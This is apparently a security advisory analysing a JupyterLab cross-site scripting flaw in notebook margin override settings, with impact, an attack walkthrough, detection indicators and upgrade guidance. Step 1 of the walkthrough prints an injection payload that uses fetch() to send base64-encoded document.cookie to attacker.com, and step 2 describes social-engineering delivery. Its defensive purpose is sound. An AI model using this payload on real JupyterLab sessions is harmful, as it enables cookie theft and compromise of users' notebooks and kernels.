CVE-2026-73417: 
JupyterLab vulnerability analysis and mitigation

CVE-2026-73417 is a Cross-Site Scripting (XSS) vulnerability in JupyterLab that allows arbitrary code execution via a crafted overrides.json settings file. Affecting JupyterLab versions 3.3.0 through 4.5.9 and 4.6.0 through 4.6.1, the flaw was discovered by researcher MUFFANUJ, with the advisory published on July 21, 2026, and the CVE formally assigned on August 13, 2026. It carries a CVSS v4.0 base score of 8.6 (High) (GitHub Advisory).

The root cause is improper input validation and output encoding (CWE-79, CWE-116) in the notebook extension's settings handling code. Specifically, the sideBySideLeftMarginOverride and sideBySideRightMarginOverride settings defined in packages/notebook-extension/schema/tracker.json and packages/notebook-extension/src/index.ts are inserted directly into CSS style content without sanitization, allowing an attacker to embed executable JavaScript. Exploitation occurs via two vectors: (1) a user manually imports a malicious overrides.json through the Settings Editor Import button, or (2) an attacker with write access to a shared settings directory plants a crafted overrides.json that is automatically applied at JupyterLab startup without any user interaction (GitHub Advisory, Fix PR #19184).

When a malicious settings file is applied, the embedded code executes with the full privileges of the affected user's JupyterLab session. This enables an attacker to read or modify the victim's notebooks and files, and to execute arbitrary code through the notebook server on any connected kernel — effectively achieving full compromise of the user's data science environment. In multi-tenant or shared file system deployments, a single attacker with write access to a settings directory could silently compromise multiple users at startup without any victim interaction (GitHub Advisory).

No public proof-of-concept exploit code or in-the-wild exploitation has been reported as of the time of disclosure. The EPSS score is 0.0, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The user-interaction attack vector requires a victim to import a crafted file (low privilege, active user interaction), while the shared-filesystem vector requires high privileges but no victim action (GitHub Advisory, Feedly).

1. Craft malicious overrides.json: Create a settings file targeting the sideBySideLeftMarginOverride or sideBySideRightMarginOverride fields with a CSS injection payload that breaks out of the style context and injects JavaScript (e.g., ");}</style><script>fetch('https://attacker.com/?data='+btoa(document.cookie))</script><style>{).
2. Deliver the file (social engineering vector): Share the crafted overrides.json with a target user via email, chat, or a file-sharing platform, presenting it as a legitimate display settings file.
3. Victim imports the file: The victim opens JupyterLab's Settings Editor, clicks the Import button, and selects the malicious file — believing it only changes display preferences.
4. Alternatively, plant on shared filesystem: If the attacker has write access to a JupyterLab settings directory (e.g., ~/.jupyter/ or a shared system path), place the crafted overrides.json there so it is automatically loaded for targeted users at next startup without any import action.
5. Code executes in victim's session: The injected JavaScript runs in the context of the victim's JupyterLab session, enabling notebook exfiltration, file modification, or kernel code execution via the Jupyter REST API using the victim's authentication token (GitHub Advisory).

• File System: Unexpected or recently modified overrides.json files in JupyterLab settings directories (e.g., ~/.jupyter/lab/user-settings/, system-level Jupyter config paths); overrides.json files containing CSS-breaking characters such as </style>, <script>, or JavaScript event handlers in margin override fields.
• Network: Outbound HTTP requests from the JupyterLab browser session to unexpected external domains shortly after settings import or startup; unusual Jupyter REST API calls (e.g., to /api/contents or /api/kernels) not initiated by the user.
• Logs: JupyterLab server logs showing unexpected kernel execution requests or file read/write operations not correlated with user activity; browser console errors related to unexpected script execution in the JupyterLab UI.

Upgrade JupyterLab to version 4.5.10 or 4.6.2 (or later), which contain the validated fix for this vulnerability. No official workaround is available for users who cannot upgrade immediately. As a hardening measure, administrators should restrict write permissions on JupyterLab settings directories on shared or multi-tenant file systems to prevent cross-user planting of overrides.json. Users should treat settings files from untrusted sources with the same caution as executable code, and organizations should establish a trusted process for distributing configuration files rather than relying on ad-hoc imports (GitHub Advisory, Fix PR #19185, Fix PR #19186).

The fix was developed collaboratively by researcher MUFFANUJ and JupyterLab maintainer krassowski, and was part of a broader batch of five security patches released simultaneously on July 21, 2026. The JupyterLab team noted a slight departure from their normal private-fork disclosure process due to GitHub infrastructure issues. No significant broader media coverage or notable community commentary beyond the official advisory has been identified at this time (Fix PR #19184).